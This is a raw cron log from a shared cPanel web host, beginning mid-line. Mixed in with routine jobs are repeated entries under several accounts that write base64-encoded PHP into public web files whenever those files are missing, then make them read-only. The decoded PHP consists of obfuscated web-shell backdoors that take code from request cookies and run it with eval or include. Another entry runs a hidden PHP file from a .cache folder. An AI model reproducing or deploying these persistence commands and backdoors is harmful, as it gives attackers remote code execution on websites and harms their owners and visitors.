keVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:47:02 medusa CROND[8847]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:47:02 medusa CROND[8848]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:47:02 medusa CROND[8849]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:47:02 medusa CROND[8852]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:47:02 medusa CROND[8853]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:47:02 medusa CROND[8854]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:47:02 medusa CROND[8856]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:47:02 medusa CROND[8858]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:47:02 medusa CROND[8869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:47:02 medusa CROND[8872]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 23:47:02 medusa CROND[8863]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 23:47:02 medusa CROND[8857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:48:02 medusa CROND[16277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:48:02 medusa CROND[16392]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:48:02 medusa CROND[16393]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:48:02 medusa CROND[16394]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:48:02 medusa CROND[16395]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:48:02 medusa CROND[16401]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:48:02 medusa CROND[16404]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:48:02 medusa CROND[16402]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:48:02 medusa CROND[16405]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:48:02 medusa CROND[16409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:48:02 medusa CROND[16416]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:48:02 medusa CROND[16417]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 23:48:02 medusa CROND[16420]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:49:01 medusa CROND[22607]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 23:49:01 medusa CROND[22608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:49:01 medusa CROND[22609]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:49:01 medusa CROND[22610]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:49:01 medusa CROND[22612]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:49:01 medusa CROND[22611]: (root) CMD (   /usr/local/cpanel/bin/autossl_check --all)
